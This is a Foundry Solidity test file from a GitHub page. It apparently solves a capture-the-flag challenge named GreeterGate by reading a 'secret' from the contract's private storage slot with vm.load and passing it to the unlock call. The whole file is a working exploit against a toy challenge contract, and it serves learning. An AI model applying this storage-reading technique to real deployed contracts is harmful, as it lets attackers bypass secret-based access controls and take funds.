-
Notifications
You must be signed in to change notification settings - Fork 1
/
GreeterGate.t.sol
36 lines (28 loc) · 1.02 KB
/
GreeterGate.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test} from "forge-std/Test.sol";
import {Gate} from "../src/greeterGate.sol";
contract GreeterGateTest is Test {
Gate public gate;
function setUp() external {
// Simulate secret data
bytes32 data1 = calcHash(block.timestamp);
bytes32 data2 = calcHash(block.number);
bytes32 data3 = calcHash(uint256(uint160(address(block.coinbase))));
gate = new Gate(data1, data2, data3);
}
function test_hackGreeterGate() public {
bytes32 answer = vm.load(address(gate), bytes32(uint256(5)));
bytes memory bytesAnswer;
assembly {
mstore(bytesAnswer, 0x20)
mstore(add(bytesAnswer, 0x20), answer)
}
bytes memory callData = abi.encodeCall(Gate.unlock, (bytesAnswer));
gate.resolve(callData);
assertTrue(gate.isSolved());
}
function calcHash(uint256 input) private pure returns (bytes32) {
return keccak256(abi.encode(input));
}
}